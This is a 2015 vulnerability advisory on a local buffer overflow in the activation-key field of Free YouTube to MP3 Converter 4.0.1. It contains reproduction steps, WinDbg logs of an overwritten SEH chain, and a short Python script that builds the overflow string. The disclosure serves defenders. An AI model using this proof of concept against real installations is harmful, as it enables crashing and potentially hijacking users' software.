FreeYouTubeToMP3 Converter 4.0.1 Buffer Overflow
Posted on 10 October 2015
Document Title: =============== FreeYouTubeToMP3 Converter 4.0.1 - Buffer Overflow Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1613 Release Date: ============= 2015-10-06 Vulnerability Laboratory ID (VL-ID): ==================================== 1613 Common Vulnerability Scoring System: ==================================== 7.2 Product & Service Introduction: =============================== Free YouTube to MP3 Converter is the world`s best software that lets you convert YouTube videos to MP3 and lossless. 300 Million people have enjoyed our software so far! It is the best choice to convert playlists and user channels to MP3. Download the music you love. Download your favorite artists music for a playback. Сonvert to MP3 keeping the best possible quality (up to 320 kbps). Music in bulk. Find playlists and YouTube channels to match your mood. Download and convert in a moment. Pure sound. Convert to lossless. Formats available: WAV, FLAC, ALAC. Perfect match. Convert YouTube to any device possible. Output formats: MP3, M4A, AAC, WMA, OGG. DVDVideoSoft`s products are freeware. In order to maintain product development and provide you with high-quality software, DVDVideoSoft may bundle links to other websites and third-party apps installations including toolbars in its products. Every time DVDVideoSoft products are installed, you have an obvious option to accept or opt-out of such installations. (Copy of the Vendor Homepage: https://www.dvdvideosoft.com ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official Free Youtube To MP3 Converter v4.0.1 software. Vulnerability Disclosure Timeline: ================================== 2015-10-06: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== DVDVideoSoft Ltd. Product: Free YouTube to MP3 Converter - Software (Windows) 4.0.1.1001 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A classic buffer overflow vulnerability has been discovered in the official Free Youtube To MP3 Converter v4.0.1 software. The local vulnerability allows to overwrite the registers of the software process to compromise the target computer system. The vulnerability is located in the `Go Menu > Tools > Options > Key Activation` module. Local attackers are able to include malicious unicode payload as `key` value (input) to crash the software via buffer overflow. Local attackers are able to takeover the system process by an escalate of privileges in the local target computer system. The windows version of the software is affected by the vulnerability. The vulnerable input is located in the activation key module. The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2. Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the local vulnerability results in system compromise by elevation of privileges via overwrite of the registers. Vulnerable Module(s): [+] Go Menu > Tools > Options > Key Activation Vulnerable Input(s): [+] Activation Key Affected Module(s): [+] Activate Proof of Concept (PoC): ======================= The security vulnerability can be exploited by local attackers with restricted account or system access and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Execute Free-YouTube-To-MP3-Converter.exe 2. Copy the AAAA...string from bof.txt to clipboard 3. Go Menu -> Tools -> Options 4. Paste it the input Activation Key AAAA....string click Activate 5. Software will Crash 6. Successful reproduce of the local buffer overflow vulnerability! --- Debug Session Logs [WINDGB] --- Access violation - code c0000005 (!!! second chance !!!) eax=00316a30 ebx=41414141 ecx=41414141 edx=00000000 esi=00316a30 edi=00000000 eip=779071b4 esp=003169cc ebp=00316a1c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!KiFastSystemCallRet: 779071b4 c3 ret 0:000> !exchain 00319484: 41414141 Invalid exception stack at 41414141 0:000> d 00319484 00319484 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00319494 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003194a4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003194b4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003194c4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003194d4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003194e4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003194f4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 001e6a5c 776db2e6 001e6a70 001e6ac0 00000000 ntdll!KiFastSystemCallRet 001e6d90 776b0844 41414141 fffffffe fffffffe ntdll!RtlRemoteCall+0x236 001e6de0 7763f9be 41414141 0000004d 001e94b4 ntdll!EtwSetMark+0x14bea 001e6e60 77667117 001e6e78 001e6e94 001e6e78 ntdll!RtlGetGroupSecurityDescriptor+0x2b2 001e9334 41414141 41414141 41414141 41414141 ntdll!KiUserExceptionDispatcher+0xf 001e9338 41414141 41414141 41414141 41414141 0x41414141 PoC: Exploit buffer = "x41"*8538 seh = "x42"*12 file = open("bof.txt","w") file.write(buffer+seh) file.close() print "POC Created by ZwX" print " Email: msk4@live.fr" Solution - Fix & Patch: ======================= The solution could be to restrict and filter the number of characters on input of the activation key. Security Risk: ============== The security risk of the local buffer overflow vulnerability in the software core is estimated as high. (CVSS 7.2) Credits & Authors: ================== ZwX - (http://zwx.fr/) [ http://www.vulnerability-lab.com/show.php?user=ZwX ] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
